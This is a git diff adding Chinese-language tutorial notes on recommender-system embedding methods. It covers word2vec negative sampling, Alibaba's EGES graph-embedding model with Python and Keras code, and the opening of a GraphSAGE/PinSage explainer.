+\sum_{k=1}^{K}\frac{\partial log(\sigma(-\boldsymbol u_k^T\boldsymbol v_c))}{\partial \boldsymbol v_c} \\=
+-(1-\sigma(\boldsymbol u_o^T\boldsymbol v_c))\boldsymbol u_o+\sum_{k=1}^{K}(1-\sigma(-\boldsymbol u_k^T\boldsymbol v_c))\boldsymbol u_k
+$$
+
+可以看到其只与$u_k$和$u_o$有关，避免了在整个单词表上的计算
+
+负采样方法的损失函数及其导数的求解
+
+```python
+def negSamplingLossAndGradient(
+    centerWordVec,
+    outsideWordIdx,
+    outsideVectors,
+    dataset,
+    K=10
+):
+  
+    negSampleWordIndices = getNegativeSamples(outsideWordIdx, dataset, K)
+    indices = [outsideWordIdx] + negSampleWordIndices
+
+    gradCenterVec =np.zeros(centerWordVec.shape)  # (embedding_size,1)
+    gradOutsideVecs = np.zeros(outsideVectors.shape)  # (vocab_size, embedding_size)
+    loss = 0.0
+
+    u_o = outsideVectors[outsideWordIdx]  # size=(embedding_size,1)
+    z = sigmoid(np.dot(u_o, centerWordVec))  # size=(1, )
+    loss -= np.log(z) # 损失函数的第一部分
+    gradCenterVec += u_o * (z - 1)   # J关于vc的偏导数的第一部分
+    gradOutsideVecs[outsideWordIdx] = centerWordVec * (z - 1)  # J关于u_o的偏导数计算
+
+    for i in range(K):
+        neg_id = indices[1 + i]
+        u_k = outsideVectors[neg_id]
+        z = sigmoid(-np.dot(u_k, centerWordVec))
+        loss -= np.log(z)
+        gradCenterVec += u_k * (1-z)
+        gradOutsideVecs[neg_id] += centerWordVec * (1 - z)
+
+
+    return loss, gradCenterVec, gradOutsideVecs
+```
+
+**参考资料**
+- Mikolov T, Sutskever I, Chen K, et al. Distributed representations of words and phrases and their compositionality[J]. Advances in neural information processing systems, 2013, 26.
+- https://www.cnblogs.com/peghoty/p/3857839.html 
+- http://web.stanford.edu/class/cs224n/
+
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.3/EGES.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.3/EGES.md
new file mode 100644
index 0000000..3d1479c
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.3/EGES.md
@@ -0,0 +1,399 @@
+# Billion-scale Commodity Embedding for E-commerce Recommendation in Alibaba
+
+这篇论文是阿里巴巴在18年发表于KDD的关于召回阶段的工作。该论文提出的方法是在基于图嵌入的方法上，通过引入side information来解决实际问题中的数据稀疏和冷启动问题。
+
+## 动机
+
+在电商领域，推荐已经是不可或缺的一部分，旨在为用户的喜好提供有趣的物品，并且成为淘宝和阿里巴巴收入的重要引擎。尽管学术界和产业界的各种推荐方法都取得了成功，如协同过滤、基于内容的方法和基于深度学习的方法，但由于用户和项目的数十亿规模，传统的方法已经不能满足于实际的需求，主要的问题体现在三个方面：
+
+- 可扩展性：现有的推荐方法无法扩展到在拥有十亿的用户和二十亿商品的淘宝中。
+- 稀疏性：存在大量的物品与用户的交互行为稀疏。即用户的交互到多集中于以下部分商品，存在大量商品很少被用户交互。
+- 冷启动：在淘宝中，每分钟会上传很多新的商品，由于这些商品没有用户行为的信息（点击、购买等），无法进行很好的预测。
+
+针对于这三个方面的问题， 本文设计了一个两阶段的推荐框架：**召回阶段和排序阶段**，这也是推荐领域最常见的模型架构。而本文提及的EGES模型主要是解决了匹配阶段的问题，通过用户行为计算商品间两两的相似性，然后根基相似性选出topK的商品输入到排序阶段。
+
+为了学习更好的商品向量表示，本文通过用户的行为历史中构造一个item-item 图，然后应用随机游走方法在item-item 图为每个item获取到一个序列，然后通过Skip-Gram的方式为每个item学习embedding(这里的item序列类似于语句，其中每个item类比于句子中每个word)，这种方式被称为图嵌入方法(Graph Embedding)。文中提出三个具体模型来学习更好的物品embedding，更好的服务于召回阶段。
+
+## 思路
+
+根据上述所面临的三个问题，本文针对性的提出了三个模型予以解决：Base Graph Embedding（BGE）；Graph Embedding with Side Information（GES）；Enhanced Graph Embedding with Side Information（EGES）。
+
+考虑可扩展性的问题，图嵌入的随机游走方式可以在物品图上捕获**物品之间高阶相似性**，即Base Graph Embedding（BGE）方法。其不同于CF方法，除了考虑物品的共现，还考虑到了行为的序列信息。
+
+考虑到稀疏性和冷启物品问题，在图嵌入的基础上，考虑了节点的属性信息。希望具有相似属性的物品可以在空间上相似，即希望通过头部物品，提高属性信息的泛化能力，进而帮助尾部和冷启物品获取更加准确的embedding，即Graph Embedding with Side Information（GES）方法。
+
+考虑到不同属性信息对于学习embedding的贡献不同，因此在聚合不同的属性信息时，动态的学习不同属性对于学习节点的embedding所参与的重要性权重，即Enhanced Graph Embedding with Side Information（EGES）。
+
+## 模型结构与原理
+
+文中所提出的方法是基于经典的图嵌入模型DeepWalk进行改进，其目标是通过物品图G，学习一个映射函数$f:V -> R^d$ ，将图上节点映射成一个embedding。具体的步骤包括两步：1.通过随机游走为图上每个物品生成序列；2.通过Skip-Gram算法学习每个物品的embedding。因此对于该方法优化的目标是，在给定的上下文物品的前提下，最大化物品v的条件概率，即物品v对于一个序列里面的其他物品要尽可能的相似。接下来看一些每个模型具体内容。
+
+### 构建物品图
+
+在介绍三个模型之前，我们首先需要构建好item-item图。由于基于CF的方法仅考虑物品之间的共现，忽略了行为的序列信息(即序列中相邻的物品之间的语义信息)，因此item-item图的构建方式如下图所示。
+
+<div align=center>
+    <img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220328133138263.png" style="zoom:80%;"/>
+</div>
+
+首先根据用户的session行为序列构建网络结构，即序列中相邻两个item之间在存在边，并且是有向带权图。物品图边上的权重为所有用户行为序列中两个 item 共现的次数，最终构造出来简单的有向有权图。
+
+值得注意的是，本文通过行为序列中物品的共现来表示其中的**语义信息**，并将这种语义信息理解为**物品之间的相似性**，并将共现频次作为相似性的一个度量值。其次基于用户的历史行为序列数据，一般不太可能取全量的历史序列数据，一方面行为数据量过大，一方面用户的兴趣会随时间发生演变，因此在处理行为序列时会设置了一个窗口来截断历史序列数据，切分出来的序列称为session。
+
+由于实际中会存在一些现实因素，数据中会有一些噪音，需要特殊处理，主要分为三个方面：
+
+- 从行为方面考虑，用户在点击后停留的时间少于1秒，可以认为是误点，需要移除。
+- 从用户方面考虑，淘宝场景中会有一些过度活跃用户。本文对活跃用户的定义是三月内购买商品数超过1000，或者点击数超过3500，就可以认为是一个无效用户，需要去除。
+- 从商品方面考虑，存在一些商品频繁的修改，即ID对应的商品频繁更新，这使得这个ID可能变成一个完全不同的商品，这就需要移除与这个ID相关的这个商品。
+
+在构建完item-item图之后，接下来看看三个模型的具体内容。
+
+### 图嵌入(BGE)
+
+对于图嵌入模型，第一步先进行随机游走得到物品序列；第二部通过skip-gram为图上节点生成embedding。那么对于随机游走的思想：如何利用随机游走在图中生成的序列？不同于DeepWalk中的随机游走，本文的采样策略使用的是带权游走策略，不同权重的游走到的概率不同，（其本质上就是node2vec），传统的node2vec方法可以直接支持有向带权图。因此在给定图的邻接矩阵M后(表示节点之间的边权重)，随机游走中每次转移的概率为：
+
+<div align=center>
+    <img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220328144516898.png" style="zoom:80%;"/>
+</div>
+
+其中$M_{ij}$为边$e_{ij}$上的权重，$N_{+}(v_i)$表示节点$v_i$所有邻居节点集合，并且随机游走的转移概率的对每个节点所有邻接边权重的归一化结果。在随即游走之后，每个item得到一个序列，如下图所示：
+
+<div align=center>
+    <img src="https://cdn.jsdelivr.net/gh/swallown1/blogimages@main/images/image-20220418142135912.png" style="zoom:47%;"/>
+</div>
+
+然后类似于word2vec，为每个item学习embedding，于是优化目标如下：
+
+<div align=center>
+    <img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220328144931957.png" style="zoom:77%;"/>
+</div>
+
+其中，w 为窗口大小。考虑独立性假设的话，上面的式子可以进一步化简：
+
+<div align=center>
+    <img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220328145101109.png" style="zoom:77%;"/>
+</div>
+
+这样看起来就很直观了，在已知物品 i 时，最大化序列中(上下文)其他物品 j 的条件概率。为了近似计算，采样了Negative sampling，上面的优化目标可以化简得到如下式子：
+
+<div align=center>
+    <img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220328145318718.png" style="zoom:80%;"/>
+</div>
+
+其中$N(v_i)'$表示负样本集合，负采样个数越多，结果越好。
+
+###  基于side information的图嵌入（GES）
+
+尽管BGE将行为序列关系编码进物品的embedding中，从而从用户行为中捕捉高阶相似性。但是这里有个问题，对于新加入的商品，由于未和用户产生过交互，所以不会出现在item-item图上，进而模型无法学习到其embedding，即无法解决冷启动问题。
+
+为了解决冷启问题，本文通过使用side information（ 类别，店铺, 价格等）加入模型的训练过程中，使得模型最终的泛化能力体现在商品的side information上。这样通过**side information学习到的embedding来表示具体的商品**，使得相似side information的物品可以得到在空间上相近的表示，进而来增强 BGE。
+
+那么对于每个商品如何通过side information的embedidng来表示呢？对于随机游走之后得到的商品序列，其中每个每个商品由其id和属性(品牌，价格等)组成。用公式表示，对于序列中的每一个物品可以得到$W^0_V,...W_V^n$,（n+1）个向量表示，$W^0_V$表示物品v，剩下是side information的embedding。然后将所有的side information聚合成一个整体来表示物品，聚合方式如下：
+
+​																				$$H_v = \frac{1}{n+1}\sum_{s=0}^n W^s_v$$
+
+其中，$H_v$是商品 v 的聚合后的 embedding 向量。
+
+###  增强型EGS（EGES）
+
+尽管 GES 相比 BGE 在性能上有了提升，但是在聚合多个属性向量得到商品的embedding的过程中，不同 side information的聚合依然存在问题。在GES中采用 average-pooling 是在假设不同种类的 side information 对商品embedding的贡献是相等的，但实际中却并非如此。例如，购买 Iphone 的用户更可能倾向于 Macbook 或者 Ipad，相比于价格属性，品牌属性相对于苹果类商品具有更重要的影响。因此，根据实际现状，不同类型的 side information 对商品的表示是具有不同的贡献值的。
+
+针对上述问题，作者提出了weight pooling方法来聚合不同类型的 side information。具体地，EGES 与 GES 的区别在聚合不同类型 side information计算不同的权重，根据权重聚合 side information 得到商品的embedding，如下图所示：
+
+<div align=center>
+    <img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220328154950289.png" style="zoom:80%;"/>
+</div>
+
+其中 $a_i$ 表示每个side information 用于计算权重的参数向量，最终通过下面的公式得到商品的embedding：
+
+​														                   		$$H_v = \frac{\sum_{j=0}^n e^{a_v^j} W_v^j}{\sum_{j=0}^n e^{a_v^j}}$$
+
+这里对参数 $a_v^j$ 先做指数变换，目的是为了保证每个边界信息的贡献都能大于0，然后通过归一化为每个特征得到一个o-1之内的权重。最终物品的embedding通过权重进行加权聚合得到，进而优化损失函数：
+
+​                                                	$$L(v,u,y)=-[ylog( \sigma (H_v^TZ_u)) + (1-y)log(1 - \sigma(H_v^TZ_u))]$$
+
+ y是标签符号，等于1时表示正样本，等于0时表示负样本。$H_v$表示商品 v 的最终的隐层表示，$Z_u$表示训练数据中的上下文节点的embedding。
+
+以上就是这三个模型主要的区别，下面是EGES的伪代码。
+
+<div align=center>
+    <img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220328155406291.png" style="zoom:80%;"/>
+</div>
+
+其中**WeightedSkipGram**函数为带权重的SkipGram算法。
+
+<div align=center>
+    <img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220328155533704.png" style="zoom:80%;"/>
+</div>
+
+
+
+## 代码实现
+
+下面我们简单的来看一下模型代码的实现，参考的内容在[这里](https://github.com/wangzhegeek/EGES)，其中实验使用的是jd  2019年比赛中提供的数据。
+
+### 构建物品图
+
+首先对用户的下单(type=2)行为序列进行session划分，其中30分钟没有产生下一个行为，划分为一个session。
+
+```python
+def cnt_session(data, time_cut=30, cut_type=2):
+    # 商品属性  id  被交互时间   商品种类
+    sku_list = data['sku_id']
+    time_list = data['action_time']
+    type_list = data['type']
+    session = []
+    tmp_session = []
+    for i, item in enumerate(sku_list):
+        # 两个商品之间如果被交互的时间大于1小时，划分成不同的session
+        if type_list[i] == cut_type or (i < len(sku_list)-1 and \
+            (time_list[i+1] - time_list[i]).seconds/60 > time_cut) or i == len(sku_list)-1:
+            tmp_session.append(item)
+            session.append(tmp_session)
+            tmp_session = []
+        else:
+            tmp_session.append(item)
+    return session  # 返回多个session list
+```
+
+获取到所有session list之后(这里不区分具体用户)，对于session长度不超过1的去除(没有意义)。
+
+接下来就是构建图，主要是先计算所有session中，相邻的物品共现频次(通过字典计算)。然后通过入度节点、出度节点以及权重分别转化成list，通过network来构建有向图。
+
+```python
+node_pair = dict()
+# 遍历所有session list
+for session in session_list_all:
+    for i in range(1, len(session)):
+        # 将session共现的item存到node_pair中，用于构建item-item图
+        # 将共现次数所谓边的权重，即node_pair的key为边(src_node,dst_node),value为边的权重(共现次数)
+        if (session[i - 1], session[i]) not in node_pair.keys():
+            node_pair[(session[i - 1], session[i])] = 1
+        else:
+            node_pair[(session[i - 1], session[i])] += 1
+
+in_node_list = list(map(lambda x: x[0], list(node_pair.keys())))
+out_node_list = list(map(lambda x: x[1], list(node_pair.keys())))
+weight_list = list(node_pair.values())
+graph_list = list([(i,o,w) for i,o,w in zip(in_node_list,out_node_list,weight_list)])
+# 通过 network 构建图结构
+G = nx.DiGraph().add_weighted_edges_from(graph_list)
+
+```
+
+### 随机游走
+
+先是基于构建的图进行随机游走，其中p和q是参数，用于控制采样的偏向于DFS还是BFS，其实也就是node2vec。
+
+```python
+walker = RandomWalker(G, p=args.p, q=args.q)
+print("Preprocess transition probs...")
+walker.preprocess_transition_probs()
+```
+
+对于采样的具体过程，是根据边的归一化权重作为采样概率进行采样。其中关于如何通过AliasSampling来实现概率采样的可以[参考](https://blog.csdn.net/haolexiao/article/details/65157026)，具体的是先通过计算create_alias_table，然后根据边上两个节点的alias计算边的alias。其中可以看到这里计算alias_table是根据边的归一化权重。
+
+```python
+def preprocess_transition_probs(self):
+    """预处理随即游走的转移概率"""
+    G = self.G
+    alias_nodes = {}
+    for node in G.nodes():
+        # 获取每个节点与邻居节点边上的权重
+        unnormalized_probs = [G[node][nbr].get('weight', 1.0)   
+                                for nbr in G.neighbors(node)]
+        norm_const = sum(unnormalized_probs)
+         # 对每个节点的邻居权重进行归一化
+        normalized_probs = [
+            float(u_prob)/norm_const for u_prob in unnormalized_probs] 
+        # 根据权重创建alias表
+        alias_nodes[node] = create_alias_table(normalized_probs)
+    alias_edges = {}
+    for edge in G.edges():
+        # 获取边的alias
+        alias_edges[edge] = self.get_alias_edge(edge[0], edge[1])
+    self.alias_nodes = alias_nodes
+    self.alias_edges = alias_edges
+    return
+```
+
+在构建好Alias之后，进行带权重的随机游走。
+
+```python
+session_reproduce = walker.simulate_walks(num_walks=args.num_walks, 
+            walk_length=args.walk_length, workers=4,verbose=1)
+```
+
+其中这里的随机游走是根据p和q的值，来选择是使用Deepwalk还是node2vec。
+
+```python
+def _simulate_walks(self, nodes, num_walks, walk_length,):
+    walks = []
+    for _ in range(num_walks):
+        # 打乱所有起始节点
+        random.shuffle(nodes)
+        for v in nodes:
+            # 根据p和q选择随机游走或者带权游走
+            if self.p == 1 and self.q == 1:
+                walks.append(self.deepwalk_walk(
+                    walk_length=walk_length, start_node=v))
+            else:
+                walks.append(self.node2vec_walk(
+                    walk_length=walk_length, start_node=v))
+    return walks
+
+```
+
+### 加载side information并构造训练正样本
+
+主要是将目前所有的sku和其对应的side infromation进行left join，没有的特征用0补充。然后对所有的特征进行labelEncoder()
+
+```python
+sku_side_info = pd.merge(all_skus, product_data, on='sku_id', how='left').fillna(0) # 为商品加载side information
+for feat in sku_side_info.columns:
+    if feat != 'sku_id':
+        lbe = LabelEncoder()
+        # 对side information进行编码
+        sku_side_info[feat] = lbe.fit_transform(sku_side_info[feat])
+    else:
+        sku_side_info[feat] = sku_lbe.transform(sku_side_info[feat])
+```
+
+通过图中的公式可以知道优化目标是让在一个窗口内的物品尽可能相似，采样若干负样本使之与目标物品不相似。因此需要将一个窗口内的所有物品与目标物品组成pair作为训练正样本。这里不需要采样负样本，负样本是通过tf中的sample softmax方法自动进行采样。
+
+```python
+def get_graph_context_all_pairs(walks, window_size):
+    all_pairs = []
+    for k in range(len(walks)):
+        for i in range(len(walks[k])):
+            # 通过窗口的方式采取正样本，具体的是，让随机游走序列的起始item与窗口内的每个item组成正样本对
+            for j in range(i - window_size, i + window_size + 1):
+                if i == j or j < 0 or j >= len(walks[k]):
+                    continue
+                else:
+                    all_pairs.append([walks[k][i], walks[k][j]])
+    return np.array(all_pairs, dtype=np.int32)
+
+```
+
+#### EGES模型
+
+构造完数据之后，在funrec的基础上实现了EGES模型：
+
+```python
+def EGES(side_information_columns, items_columns, merge_type = "weight", share_flag=True,
+        l2_reg=0.0001, seed=1024):
+    # side_information 所对应的特征
+    feature_columns = list(set(side_information_columns))
+    # 获取输入层，查字典
+    feature_encode = FeatureEncoder(feature_columns,  linear_sparse_feature=None)
+    # 输入的值
+    feature_inputs_list = list(feature_encode.feature_input_layer_dict.values())
+    # item id  获取输入层的值
+    items_Map = FeatureMap(items_columns)
+    items_inputs_list = list(items_Map.feature_input_layer_dict.values())
+
+    # 正样本的id，在softmax中需要传入正样本的id
+    label_columns = [DenseFeat('label_id', 1)]
+    label_Map = FeatureMap(label_columns)
+    label_inputs_list = list(label_Map.feature_input_layer_dict.values())
+
+    # 通过输入的值查side_information的embedding，返回所有side_information的embedding的list
+    side_embedding_list = process_feature(side_information_columns, feature_encode)
+    # 拼接  N x num_feature X Dim
+    side_embeddings = Concatenate(axis=1)(side_embedding_list)
+
+    # items_inputs_list[0] 为了查找每个item 用于计算权重的 aplha 向量
+    eges_inputs = [side_embeddings, items_inputs_list[0]]
+
+    merge_emb = EGESLayer(items_columns[0].vocabulary_size, merge_type=merge_type, 
+                l2_reg=l2_reg, seed=seed)(eges_inputs)  # B * emb_dim
+    
+    label_idx = label_Map.feature_input_layer_dict[label_columns[0].name]
+    softmaxloss_inputs = [merge_emb,label_idx]
+    
+    item_vocabulary_size = items_columns[0].vocabulary_size
+
+    all_items_idx = EmbeddingIndex(list(range(item_vocabulary_size)))
+    all_items_embeddings = feature_encode.embedding_layers_dict[side_information_columns[0].name](all_items_idx)
+
+    if share_flag:
+        softmaxloss_inputs.append(all_items_embeddings)
+    
+    output = SampledSoftmaxLayer(num_items=item_vocabulary_size, share_flage=share_flag,
+              emb_dim=side_information_columns[0].embedding_dim,num_sampled=10)(softmaxloss_inputs)
+
+    model = Model(feature_inputs_list + items_inputs_list + label_inputs_list, output)
+    
+    model.__setattr__("feature_inputs_list", feature_inputs_list)
+    model.__setattr__("label_inputs_list", label_inputs_list)
+    model.__setattr__("merge_embedding", merge_emb)
+    model.__setattr__("item_embedding", get_item_embedding(all_items_embeddings,                          								items_Map.feature_input_layer_dict[items_columns[0].name]))
+    return model
+
+```
+
+其中EGESLayer为聚合每个item的多个side information的方法，其中根据merge_type可以选择average-pooling或者weight-pooling
+
+```python
+class EGESLayer(Layer):
+    def __init__(self,item_nums, merge_type="weight",l2_reg=0.001,seed=1024, **kwargs):
+        super(EGESLayer, self).__init__(**kwargs)
+        self.item_nums = item_nums 
+        self.merge_type = merge_type   #聚合方式
+        self.l2_reg = l2_reg
+        self.seed = seed
+
+    def build(self, input_shape):
+        if not isinstance(input_shape, list) or len(input_shape) < 2:
+            raise ValueError('`EGESLayer` layer should be called \
+                on a list of at least 2 inputs')
+        self.feat_nums = input_shape[0][1]
+        
+        if self.merge_type == "weight":
+            self.alpha_embeddings = self.add_weight(
+                                name='alpha_attention',
+                                shape=(self.item_nums, self.feat_nums),
+                                dtype=tf.float32, 
+                                initializer=tf.keras.initializers.RandomUniform(minval=-1, maxval=1,                                               seed=self.seed),
+                                regularizer=l2(self.l2_reg))
+
+    def call(self, inputs, **kwargs):
+        if self.merge_type == "weight": 
+            stack_embedding = inputs[0]  # (B * num_feate * embedding_size)
+            item_input = inputs[1]       # (B * 1)  
+            alpha_embedding = tf.nn.embedding_lookup(self.alpha_embeddings, item_input) #(B * 1 * num_feate)
+            alpha_emb = tf.exp(alpha_embedding) 
+            alpha_i_sum = tf.reduce_sum(alpha_emb, axis=-1) 
+            merge_embedding = tf.squeeze(tf.matmul(alpha_emb, stack_embedding),axis=1) / alpha_i_sum
+        else:
+            stack_embedding = inputs[0]  # (B * num_feate * embedding_size)
+            merge_embedding = tf.squeeze(tf.reduce_mean(alpha_emb, axis=1),axis=1) # (B * embedding_size)
+        
+        return merge_embedding
+
+    def compute_output_shape(self, input_shape):
+        return input_shape
+
+    def get_config(self):
+        config = {"merge_type": self.merge_type, "seed": self.seed}
+        base_config = super(EGESLayer, self).get_config()
+        base_config.update(config)
+        return base_config
+
+```
+
+至此已经从原理到代码详细的介绍了关于EGES的内容。
+
+
+
+## 参考
+
+[Billion-scale Commodity Embedding for E-commerce Recommendation in Alibaba](https://arxiv.org/abs/1803.02349)
+
+[深度学习中不得不学的Graph Embedding方法](https://zhuanlan.zhihu.com/p/64200072)
+
+[【Embedding】EGES：阿里在图嵌入领域中的探索](https://blog.csdn.net/qq_27075943/article/details/106244434)
+
+[推荐系统遇上深度学习(四十六)-阿里电商推荐中亿级商品的embedding策略](https://www.jianshu.com/p/229b686535f1)
+
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.3/PinSage.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.3/PinSage.md
new file mode 100644
index 0000000..cbf4899
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.3/PinSage.md
@@ -0,0 +1,577 @@
+# Graph Convolutional Neural Networks for Web-Scale Recommender Systems
+
+该论文是斯坦福大学和Pinterest公司与2018年联合发表与KDD上的一篇关于GCN成功应用于工业级推荐系统的工作。该论文提到的PinSage模型，是在GraphSAGE的理论基础进行了更改，以适用于实际的工业场景。下面将简单介绍一下GraphSAGE的原理，以及Pinsage的核心和细节。
+
+## GraphSAGE原理
+
+GraphSAGE提出的前提是因为基于直推式(transductive)学习的图卷积网络无法适应工业界的大多数业务场景。我们知道的是，基于直推式学习的图卷积网络是通过拉普拉斯矩阵直接为图上的每个节点学习embedding表示，每次学习是针对于当前图上所有的节点。然而在实际的工业场景中，图中的结构和节点都不可能是固定的，会随着时间的变化而发生改变。例如在Pinterest公司的场景下，每分钟都会上传新的照片素材，同时也会有新用户不断的注册，那么图上的节点会不断的变化。在这样的场景中，直推式学习的方法就需要不断的重新训练才能够为新加入的节点学习embedding，导致在实际场景中无法投入使用。
+
+在这样的背景下，斯坦福大学提出了一种归纳(inductive)学习的GCN方法——GraphSAGE，即**通过聚合邻居信息的方式为给定的节点学习embedding**。不同于直推式(transductive)学习，GraphSAGE是通过学习聚合节点邻居生成节点Embedding的函数的方式，为任意节点学习embedding，进而将GCN扩展成归纳学习任务。
+
+对于想直接应用GCN或者GraphSAGE的我们而言，不用非要去理解其背后晦涩难懂的数学原理，可以仅从公式的角度来理解GraphSAGE的具体操作。
+
+<div align=center>
+    <img src="https://cdn.jsdelivr.net/gh/swallown1/blogimages@main/images/image-20220423094435223.png" style="zoom:90%;"/>
+</div>
+
+上面这个公式可以非常直观的让我们理解GraphSAGE的原理。
+
+- $h_v^0$表示图上节点的初始化表示，等同于节点自身的特征。
+- $h_v^k$表示第k层卷积后的节点表示，其来源于两个部分：
+  - 第一部分来源于节点v的邻居节点集合$N(v)$，利用邻居节点的第k-1层卷积后的特征$h_u^{k-1}$进行 （ $\sum_{u \in N(v)} \frac{h_u^{k-1}}{|N(v)|}$ ）后，在进行线性变换。这里**借助图上的边将邻居节点的信息通过边关系聚合到节点表示中(简称卷积操作)**。
+  - 第二部分来源于节点v的第k-1成卷积后的特征$h_v^{k-1}$，进行线性变换。总的来说图卷积的思想是**在对自身做多次非线性变换时，同时利用边关系聚合邻居节点信息。**
+- 最后一次卷积结果作为节点的最终表示$Z_v$，以用于下游任务(节点分类，链路预测或节点召回)。
+
+可以发现相比传统的方法(MLP，CNN，DeepWalk 或 EGES)，GCN或GraphSAGE存在一些优势：
+
+1. 相比于传统的深度学习方法(MLP,CNN)，GCN在对自身节点进行非线性变换时，同时考虑了图中的邻接关系。从CNN的角度理解，GCN通过堆叠多层结构在图结构数据上拥有更大的**感受野**，利用更加广域内的信息。
+2. 相比于图嵌入学习方法(DeepWalk，EGES)，GCN在学习节点表示的过程中，在利用节点自身的属性信息之外，更好的利用图结构上的边信息。相比于借助随机采样的方式来使用边信息，GCN的方式能从全局的角度利用的邻居信息。此外，类似于GraphSAGE这种归纳(inductive)学习的GCN方法，通过学习聚合节点邻居生成节点Embedding的函数的方式，更适用于图结构和节点会不断变化的工业场景。
+
+在采样得到目标节点的邻居集之后，那么如何聚合邻居节点的信息来更新目标节点的嵌入表示呢？下面就来看看GraphSAGE中提及的四个聚合函数。
+
+## GraphSAGE的采样和聚合
+
+通过上面的公式可以知道，得到节点的表示主要依赖于两部分，其中一部分其邻居节点。因此对于GraphSAGE的关键主要分为两步：Sample采样和Aggregate聚合。其中Sample的作用是从庞大的邻居节点中选出用于聚合的邻居节点集合$N(v)$以达到降低迭代计算复杂度，而聚合操作就是如何利用邻居节点的表示来更新节点v的表示，已达到聚合作用。具体的过程如下伪代码所示：
+
+<div align=center>
+    <img src="https://cdn.jsdelivr.net/gh/swallown1/blogimages@main/images/image-20220406135753358.png" style="zoom:90%;"/>
+</div>
+
+GraphSAGE的minibatch算法的思路是针对Batch内的所有节点，通过采样和聚合节点，为每一个节点学习一个embedding。
+
+#### 邻居采样
+
+GraphSAGE的具体采样过程是，首先根据中心节点集合$B^k$，对集合中每个中心节点通过随机采样的方式对其邻居节点采样固定数量S个(如果邻居节点数量大于S，采用无放回抽样；如果小于S，则采用有放回抽样)，形成的集合表示为$B^{k-1}$；以此类推每次都是为前一个得到的集合的每个节点随机采样S个邻居，最终得到第k层的所有需要参与计算的节点集合$B^{0}$。值得注意的有两点：**为什么需要采样并且固定采样数量S？** **为什么第k层所采样的节点集合表示为$B^0$？**
+
+进行邻居采样并固定采样数量S主要是因为：1. 采样邻居节点避免了在全图的搜索以及使用全部邻居节点所导致计算复杂度高的问题；2. 可以通过采样使得部分节点更同质化，即两个相似的节点具有相同表达形式。3. 采样固定数量是保持每个batch的计算占用空间是固定的，方便进行批量训练。
+
+第k层所采样的节点集合表示为$B^0$主要是因为：采样和聚合过程是相反的，即采样时我们是从中心节点组层进行采样，而聚合的过程是从中心节点的第k阶邻居逐层聚合得到前一层的节点表示。因此可以认为聚合阶段是：将k阶邻居的信息聚合到k-1阶邻居上，k-1阶邻居的信息聚合到k-2阶邻居上，....，1阶邻居的信息聚合到中心节点上的过程。
+
+#### 聚合函数
+
+如何对于采样到的节点集进行聚合，介绍的4种方式：Mean 聚合、Convolutional 聚合、LSTM聚合以及Pooling聚合。由于邻居节点是无序的，所以希望构造的聚合函数具有**对称性(即输出的结果不因输入排序的不同而改变)**，同时拥有**较强的表达能力**。
+
+- Mean 聚合：首先会对邻居节点按照**element-wise**进行均值聚合，然后将当前节点k-1层得到特征$h_v^{k-1}$与邻居节点均值聚合后的特征 $MEAN(h_u^k | u\in N(v))$**分别**送入全连接网络后**相加**得到结果。
+- Convolutional 聚合：这是一种基于GCN聚合方式的变种，首先对邻居节点特征和自身节点特征求均值，得到的聚合特征送入到全连接网络中。与Mean不同的是，这里**只经过一个全连接层**。
+
+- LSTM聚合：由于LSTM可以捕捉到序列信息，因此相比于Mean聚合，这种聚合方式的**表达能力更强**；但由于LSTM对于输入是有序的，因此该方法不具备**对称性**。作者对于无序的节点进行随机排列以调整LSTM所需的有序性。
+- Pooling聚合：对于邻居节点和中心节点进行一次非线性转化，将结果进行一次基于**element-wise**的**最大池化**操作。该种方式具有**较强的表达能力**的同时还具有**对称性**。
+
+综上，可以发现GraphSAGE之所以可以用于大规模的工业场景，主要是因为模型主要是通过学习聚合函数，通过归纳式的学习方法为节点学习特征表示。接下来看看PinSAGE 的主要内容。
+
+## PinSAGE 
+
+### 背景
+
+PinSAGE 模型是Pinterest 在GraphSAGE 的基础上实现的可以应用于实际工业场景的召回算法。Pinterest 公司的主要业务是采用瀑布流的形式向用户展现图片，无需用户翻页，新的图片会自动加载。因此在Pinterest网站上，有大量的图片(被称为pins)，而用户可以将喜欢的图片分类，即将pins钉在画板 boards上。可以发现基于这样的场景，pin相当于普通推荐场景中item，用户**钉**的行为可以认为是用于的交互行为。于是PinSAGE 模型主要应用的思路是，基于GraphSAGE 的原理学习到聚合方法，并为每个图片(pin)学习一个向量表示，然后基于pin的向量表示做**item2item的召回**。
+
+可以知道的是，PinSAGE 是在GraphSAGE的基础上进行改进以适应实际的工业场景，因此除了改进卷积操作中的邻居采样策略以及聚合函数的同时还有一些工程技巧上的改进，使得在大数据场景下能更快更好的进行模型训练。因此在了解GraphSAGE的原理后，我们详细的了解一下本文的主要改进以及与GraphSAGE的区别。
+
+### 重要性采样
+
+在实际场景当中，一个item可能被数以百万，千万的用户交互过，所以不可能聚合所有邻居节点是不可行的，只可能是采样部分邻居进行信息聚合。但是如果采用GraphSAGE中随机采样的方法，由于采样的邻居有限(这里是相对于所有节点而言)，会存在一定的偏差。因此PinSAGE 在采样中考虑了更加重要的邻居节点，即卷积时只注重部分重要的邻居节点信息，已达到高效计算的同时又可以消除偏置。
+
+PinSAGE使用重要性采样方法，即需要为每个邻居节点计算一个重要性权重，根据权重选取top-t的邻居作为聚合时的邻居集合。其中计算重要性的过程是，以目标节点为起点，进行random-walk，采样结束之后计算所有节点访问数的L1-normalized作为重要性权重，同时这个权重也会在聚合过程中加以使用(**加权聚合**)。
+
